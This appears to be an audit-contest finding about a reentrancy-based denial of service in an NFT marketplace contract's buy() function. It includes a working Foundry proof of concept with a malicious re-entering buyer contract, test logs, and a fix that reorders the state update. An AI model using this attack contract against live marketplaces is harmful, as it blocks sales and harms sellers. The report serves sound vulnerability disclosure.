NFT Dealers

First Flight #58

Beginner FriendlyFoundry

100 EXP

View all submissions

Previous Next

Submission Details

Impact: medium

Likelihood: medium

buy() Updates s_listings[id].isActive After Two External Calls, Violating CEI and Enabling Reentrancy DoS That Permanently Prevents Any Sale from Completing Against a Contract Buyer

Author Revealed upon completion

Root + Impact

Description

NFTDealers.sol:141-155

buy() decrements activeListingsCounter before the two external interactions — correct so far — but delays setting isActive = false until after both usdc.transferFrom (Interaction 1) and _safeTransfer (Interaction 2). _safeTransfer is ERC721's safe transfer, which calls onERC721Received on any contract recipient. At that callback moment: the NFT has already been transferred to the buyer, isActive is still true in storage, and activeListingsCounter is already 0.
A contract buyer re-entering buy() inside onERC721Received passes the stale !listing.isActive guard, then immediately underflows activeListingsCounter (0 - 1) causing a Solidity 0.8 arithmetic revert that propagates all the way up through _safeTransfer to the outer buy() — rolling back the entire transaction. The listing remains permanently active and the seller earns nothing.

// @> NFTDealers.sol:141-155

function buy(uint256 _listingId) external payable {

Listing memory listing = s_listings[_listingId];

if (!listing.isActive) revert ListingNotActive(_listingId);

require(listing.seller != msg.sender, "Seller cannot buy their own NFT");

activeListingsCounter--; // CEI ✓ (counter updated first)

bool success = usdc.transferFrom(msg.sender, address(this), listing.price);

require(success, "USDC transfer failed"); // Interaction 1

_safeTransfer(listing.seller, msg.sender, listing.tokenId, ""); // Interaction 2 — callback fires here

s_listings[_listingId].isActive = false; // @audit Effect AFTER both Interactions

emit NFT_Dealers_Sold(msg.sender, listing.price);

}

Risk

Likelihood:

A contract buyer deploys an onERC721Received implementation that calls buy() on the same listing — no privileged access, unusual state, or sequence of prior calls is required; any contract buyer can trigger this against any listing
The attack is repeatable indefinitely: every call by the attacker reverts fully, the listing resets to its prior state, and the seller has no on-chain way to distinguish the attacker from a legitimate buyer before the revert

Impact:

The targeted seller's NFT is permanently stuck in an active listed state they cannot exit via a sale — their only recourse is cancelListing(), which compounds H-2 by zeroing collateralForMinting[tokenId] and destroying the 20 USDC protocol guarantee for any subsequent buyer
During the onERC721Received window, the NFT is simultaneously owned by the buyer while isActive = true — any on-chain system querying listing status during this window (lending protocols, aggregators) observes a permanently inconsistent state

Proof of Concept

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.34;

import {Test, console2} from "forge-std/Test.sol";

import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

import {NFTDealers} from "../src/NFTDealers.sol";

import {MockUSDC} from "../src/MockUSDC.sol";

contract StateObserver is IERC721Receiver {

bool public isActiveAtCallback;

address public ownerAtCallback;

NFTDealers private _nftDealers;

uint256 private _targetListingId;

constructor(NFTDealers nftDealers, uint256 targetListingId) {

_nftDealers = nftDealers;

_targetListingId = targetListingId;

}

function onERC721Received(

address, address, uint256 tokenId, bytes calldata

) external override returns (bytes4) {

(, , , , bool isActive) = _nftDealers.s_listings(_targetListingId);

isActiveAtCallback = isActive;

ownerAtCallback = _nftDealers.ownerOf(tokenId);

return IERC721Receiver.onERC721Received.selector;

}

// =========================================================================

// Helper: malicious buyer (reenters buy() to DoS the sale)

// =========================================================================

contract ReentrantBuyer is IERC721Receiver {

NFTDealers private _nftDealers;

MockUSDC private _usdc;

uint256 private _targetListingId;

bool private _armed; // only re-enter once

constructor(NFTDealers nftDealers, MockUSDC usdc) {

_nftDealers = nftDealers;

_usdc = usdc;

}

function armAndBuy(uint256 listingId, uint256 approvalAmount) external {

_targetListingId = listingId;

_armed = true;

_usdc.approve(address(_nftDealers), approvalAmount);

_nftDealers.buy(listingId);

}

function onERC721Received(

address, address, uint256, bytes calldata

) external override returns (bytes4) {

if (_armed) {

_armed = false; // prevent infinite recursion

// isActive is still true here (CEI violation).

// Re-entering buy() passes the isActive guard, then underflows

// activeListingsCounter (already 0), causing a Solidity 0.8 revert.

// That revert propagates back to the outer buy(), rolling it all back.

_nftDealers.buy(_targetListingId);

}

return IERC721Receiver.onERC721Received.selector;

}

// =========================================================================

// Main test contract

// =========================================================================

contract PoC_M3_BuyCEIViolation is Test {

NFTDealers public nftDealers;

MockUSDC public usdc;

string internal constant BASE_IMAGE =

"https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";

address public owner = makeAddr("owner");

address public seller = makeAddr("seller");

address public eoa = makeAddr("eoa");

uint256 public constant LOCK_AMOUNT = 20e6;

uint32 public constant SALE_PRICE = 100e6; // 100 USDC (small for clarity)

function setUp() public {

usdc = new MockUSDC();

nftDealers = new NFTDealers(

owner, address(usdc), "NFTDealers", "NFTD", BASE_IMAGE, LOCK_AMOUNT

);

vm.prank(owner);

nftDealers.revealCollection();

vm.prank(owner);

nftDealers.whitelistWallet(seller);

usdc.mint(seller, LOCK_AMOUNT);

}

// =========================================================================

// TEST 1: Stale isActive is observable during onERC721Received

// =========================================================================

/**

* @notice A passive contract buyer records s_listings[id].isActive during

* onERC721Received. After buy() fully completes, the recorded value

* is true, proving the state invariant was violated.

* At the time of the callback: buyer owns the NFT AND isActive=true.

* After buy() returns: isActive=false (set at line 152).

* The window between these two points is the CEI violation.

function testM3_StaleIsActiveObservable() public {

console2.log("=== M-3: STALE isActive OBSERVABLE DURING CALLBACK ===");

// ── Setup: mint and list ──────────────────────────────────────────────

vm.startPrank(seller);

usdc.approve(address(nftDealers), LOCK_AMOUNT);

nftDealers.mintNft();

uint256 tokenId = nftDealers.totalMinted();

nftDealers.list(tokenId, SALE_PRICE);

vm.stopPrank();

// Deploy a passive observer contract as the buyer

StateObserver observer = new StateObserver(nftDealers, tokenId);

usdc.mint(address(observer), uint256(SALE_PRICE));

console2.log("[0] Listing created. isActive before buy:", true);

console2.log(" Observer will record isActive during onERC721Received");

// ── Buy ───────────────────────────────────────────────────────────────

vm.prank(address(observer));

usdc.approve(address(nftDealers), uint256(SALE_PRICE));

vm.prank(address(observer));

nftDealers.buy(tokenId);

// ── Results ───────────────────────────────────────────────────────────

(, , , , bool isActiveAfter) = nftDealers.s_listings(tokenId);

console2.log("[1] isActive recorded DURING onERC721Received callback:");

console2.log(" observer.isActiveAtCallback =", observer.isActiveAtCallback());

console2.log(" observer.ownerAtCallback =", observer.ownerAtCallback());

console2.log(" (owner during callback should be observer address, confirming");

console2.log(" NFT was transferred before isActive was set false)");

console2.log("[2] isActive AFTER buy() returned:", isActiveAfter);

console2.log(" CEI invariant: isActive should be false BEFORE the callback fires");

// ── Assertions ────────────────────────────────────────────────────────

// Core CEI violation: isActive was true during onERC721Received

assertTrue(observer.isActiveAtCallback(),

"CRITICAL: isActive = true during onERC721Received -- CEI violated");

// Buyer already owned the NFT during the callback

assertEq(observer.ownerAtCallback(), address(observer),

"Buyer owns NFT during callback while listing still shows active");

// Correctly set to false after buy() returns

assertFalse(isActiveAfter,

"isActive correctly false after buy() -- but the callback saw stale state");

assertEq(nftDealers.ownerOf(tokenId), address(observer),

"Buyer owns NFT after completion");

}

// =========================================================================

// TEST 2: Reentrancy DoS -- malicious buyer prevents the sale from completing

// =========================================================================

/**

* @notice A malicious buyer contract re-enters buy() in onERC721Received.

* Because isActive is still true (CEI violation), the re-entry

* passes the isActive guard and attempts to process. The inner buy()

* decrements activeListingsCounter which is already 0 (decremented

* by the outer buy()). In Solidity 0.8 this underflows and reverts.

* The revert propagates back through onERC721Received, _safeTransfer,

* and the outer buy() -- completely rolling back the sale.

* Result: seller's NFT is never transferred, no USDC is paid,

* the listing remains active, and the sale is permanently blocked

* against this buyer.

function testM3_ReentrancyDoSSell() public {

console2.log("\n=== M-3: REENTRANCY DoS -- MALICIOUS BUYER BLOCKS SALE ===");

// ── Setup: mint and list ──────────────────────────────────────────────

vm.startPrank(seller);

usdc.approve(address(nftDealers), LOCK_AMOUNT);

nftDealers.mintNft();

uint256 tokenId = nftDealers.totalMinted();

nftDealers.list(tokenId, SALE_PRICE);

vm.stopPrank();

assertEq(nftDealers.totalActiveListings(), 1, "1 active listing before attack");

// Deploy malicious buyer contract, fund it

ReentrantBuyer attacker = new ReentrantBuyer(nftDealers, usdc);

// Fund with double the price (outer buy + inner buy attempt)

usdc.mint(address(attacker), uint256(SALE_PRICE) * 2);

uint256 sellerUsdcBefore = usdc.balanceOf(seller);

uint256 contractUsdcBefore = usdc.balanceOf(address(nftDealers));

console2.log("[0] Before attack:");

console2.log(" Seller owns NFT:", nftDealers.ownerOf(tokenId) == seller);

console2.log(" Active listings:", nftDealers.totalActiveListings());

console2.log(" Attacker USDC :", usdc.balanceOf(address(attacker)) / 1e6, "USDC");

// ── Attack: malicious buy() that re-enters ────────────────────────────

// The re-entry causes an underflow revert which propagates and rolls back

// the entire outer buy() transaction.

vm.expectRevert();

attacker.armAndBuy(tokenId, uint256(SALE_PRICE) * 2);

uint256 sellerUsdcAfter = usdc.balanceOf(seller);

uint256 contractUsdcAfter = usdc.balanceOf(address(nftDealers));

console2.log("[1] After attack:");

console2.log(" Seller still owns NFT:", nftDealers.ownerOf(tokenId) == seller);

console2.log(" Active listings:", nftDealers.totalActiveListings());

console2.log(" Seller USDC delta :", int256(sellerUsdcAfter) - int256(sellerUsdcBefore));

console2.log(" Contract USDC delta:", int256(contractUsdcAfter) - int256(contractUsdcBefore));

console2.log(" Attacker USDC :", usdc.balanceOf(address(attacker)) / 1e6, "USDC (unchanged)");

console2.log(" RESULT: Buy fully reverted. NFT stuck listed. Seller earns nothing.");

// ── Assertions ────────────────────────────────────────────────────────

// NFT never left seller -- sale was rolled back

assertEq(nftDealers.ownerOf(tokenId), seller,

"CRITICAL: NFT still owned by seller -- sale DoS succeeded");

// Listing still active -- seller cannot move forward with this buyer

assertEq(nftDealers.totalActiveListings(), 1,

"CRITICAL: listing still active after DoS");

// No USDC moved anywhere -- everything reverted

assertEq(sellerUsdcAfter, sellerUsdcBefore,

"Seller received no USDC -- sale was blocked");

assertEq(contractUsdcAfter, contractUsdcBefore,

"Contract USDC unchanged -- buy was fully rolled back");

assertEq(usdc.balanceOf(address(attacker)), uint256(SALE_PRICE) * 2,

"Attacker USDC unchanged -- no payment made");

}

// =========================================================================

// TEST 3: Seller is griefed into cancel -- compounding with H-2

// =========================================================================

/**

* @notice After repeated DoS attacks from a malicious buyer, the seller has

* no on-chain way to force the sale to a different buyer without

* first cancelling the listing. Calling cancelListing() triggers H-2:

* the seller's lockAmount collateral is returned and zeroed, meaning

* any subsequent listing of the same NFT provides no backing.

* If the seller re-lists after cancel, the NFT has zero collateral.

* A new buyer (legitimate) who buys the re-listed NFT holds an NFT

* the protocol claims is backed by 20 USDC but actually has 0 USDC.

* Compound impact: M-3 (CEI) + H-2 (no escrow) = seller's only

* escape from a griefed listing permanently destroys the protocol's

* collateral guarantee for that NFT.

function testM3_GriefingSellersListing() public {

console2.log("\n=== M-3: GRIEFING -> FORCED CANCEL -> H-2 COLLATERAL DESTROYED ===");

// ── Setup: mint, list ─────────────────────────────────────────────────

vm.startPrank(seller);

usdc.approve(address(nftDealers), LOCK_AMOUNT);

nftDealers.mintNft();

uint256 tokenId = nftDealers.totalMinted();

nftDealers.list(tokenId, SALE_PRICE);

vm.stopPrank();

ReentrantBuyer attacker = new ReentrantBuyer(nftDealers, usdc);

usdc.mint(address(attacker), uint256(SALE_PRICE) * 2);

console2.log("[0] Seller lists NFT. collateralForMinting[1] = 20 USDC.");

console2.log(" Attacker DoS-es the listing 3 times:");

// ── Attacker grips listing 3 times ───────────────────────────────────

for (uint256 i = 1; i <= 3; i++) {

// Re-arm for each attempt

usdc.mint(address(attacker), uint256(SALE_PRICE) * 2);

try attacker.armAndBuy(tokenId, uint256(SALE_PRICE) * 2) {

// Should not succeed

} catch {

console2.log(" Attempt", i, ": buy() reverted -- listing still active");

}

assertEq(nftDealers.ownerOf(tokenId), seller, "NFT still with seller after 3 attacks");

assertEq(nftDealers.totalActiveListings(), 1, "Listing still active after 3 attacks");

// ── Seller's only escape: cancel (triggers H-2) ───────────────────────

uint256 sellerUsdcBefore = usdc.balanceOf(seller);

uint256 collateralBefore = nftDealers.collateralForMinting(tokenId);

vm.prank(seller);

nftDealers.cancelListing(tokenId);

uint256 collateralAfter = nftDealers.collateralForMinting(tokenId);

console2.log("[1] Seller forced to cancel. H-2 triggers:");

console2.log(" collateralForMinting before cancel:", collateralBefore / 1e6, "USDC");

console2.log(" collateralForMinting after cancel:", collateralAfter / 1e6, "USDC (zeroed)");

console2.log(" Seller got lockAmount back:", (usdc.balanceOf(seller) - sellerUsdcBefore) / 1e6, "USDC");

// ── Seller re-lists; new legitimate buyer purchases ───────────────────

vm.prank(seller);

nftDealers.list(tokenId, SALE_PRICE);

address legitimateBuyer = makeAddr("legitimateBuyer");

usdc.mint(legitimateBuyer, uint256(SALE_PRICE));

vm.startPrank(legitimateBuyer);

usdc.approve(address(nftDealers), uint256(SALE_PRICE));

nftDealers.buy(tokenId); // Works -- EOA, no onERC721Received

vm.stopPrank();

uint256 backingAfterResale = nftDealers.collateralForMinting(tokenId);

console2.log("[2] Seller re-lists. Legitimate EOA buyer purchases.");

console2.log(" collateralForMinting after resale:", backingAfterResale / 1e6, "USDC");

console2.log(" Buyer paid", uint256(SALE_PRICE) / 1e6, "USDC for an NFT with 0 USDC backing.");

console2.log(" M-3 griefing + H-2 compound: protocol guarantee permanently destroyed.");

// ── Assertions ────────────────────────────────────────────────────────

assertEq(collateralAfter, 0,

"CRITICAL: cancel zeroed collateral (H-2) -- NFT backing destroyed");

assertEq(backingAfterResale, 0,

"CRITICAL: resale buyer holds NFT with 0 USDC backing (protocol guarantees 20 USDC)");

assertEq(nftDealers.ownerOf(tokenId), legitimateBuyer,

"Legitimate buyer owns the NFT post-resale");

}

POC RESULT

forge test --match-contract PoC_M3_BuyCEIViolation -vv

[⠒] Compiling...

[⠒] Compiling 1 files with Solc 0.8.34

[⠆] Solc 0.8.34 finished in 410.56ms

Compiler run successful!

Ran 3 tests for test/PoC_M3_BuyCEIViolation.t.sol:PoC_M3_BuyCEIViolation

[PASS] testM3_GriefingSellersListing() (gas: 1052479)

Logs:

=== M-3: GRIEFING -> FORCED CANCEL -> H-2 COLLATERAL DESTROYED ===

[0] Seller lists NFT. collateralForMinting[1] = 20 USDC.

Attacker DoS-es the listing 3 times:

Attempt 1 : buy() reverted -- listing still active

Attempt 2 : buy() reverted -- listing still active

Attempt 3 : buy() reverted -- listing still active

[1] Seller forced to cancel. H-2 triggers:

collateralForMinting before cancel: 20 USDC

collateralForMinting after cancel: 0 USDC (zeroed)

Seller got lockAmount back: 20 USDC

[2] Seller re-lists. Legitimate EOA buyer purchases.

collateralForMinting after resale: 0 USDC

Buyer paid 100 USDC for an NFT with 0 USDC backing.

M-3 griefing + H-2 compound: protocol guarantee permanently destroyed.

[PASS] testM3_ReentrancyDoSSell() (gas: 801692)

Logs:

=== M-3: REENTRANCY DoS -- MALICIOUS BUYER BLOCKS SALE ===

[0] Before attack:

Seller owns NFT: true

Active listings: 1

Attacker USDC : 200 USDC

[1] After attack:

Seller still owns NFT: true

Active listings: 1

Seller USDC delta : 0

Contract USDC delta: 0

Attacker USDC : 200 USDC (unchanged)

RESULT: Buy fully reverted. NFT stuck listed. Seller earns nothing.

[PASS] testM3_StaleIsActiveObservable() (gas: 713396)

Logs:

=== M-3: STALE isActive OBSERVABLE DURING CALLBACK ===

[0] Listing created. isActive before buy: true

Observer will record isActive during onERC721Received

[1] isActive recorded DURING onERC721Received callback:

observer.isActiveAtCallback = true

observer.ownerAtCallback = 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a

(owner during callback should be observer address, confirming

NFT was transferred before isActive was set false)

[2] isActive AFTER buy() returned: false

CEI invariant: isActive should be false BEFORE the callback fires

Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 5.38ms (5.03ms CPU time)

Ran 1 test suite in 42.63ms (5.38ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)

Recommended Mitigation

Move s_listings[_listingId].isActive = false before both external calls, following the Checks-Effects-Interactions pattern:

function buy(uint256 _listingId) external payable {

Listing memory listing = s_listings[_listingId];

if (!listing.isActive) revert ListingNotActive(_listingId);

require(listing.seller != msg.sender, "Seller cannot buy their own NFT");

activeListingsCounter--;

+ s_listings[_listingId].isActive = false; // Effect before Interactions

bool success = usdc.transferFrom(msg.sender, address(this), listing.price);

require(success, "USDC transfer failed");

_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");

- s_listings[_listingId].isActive = false; // remove: too late

emit NFT_Dealers_Sold(msg.sender, listing.price);

}

Rewards breakdown

nSLOC

253

This contest has a flat reward structure with the following payouts:

High

100 EXP

Medium

20 EXP

Low

2 EXP

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!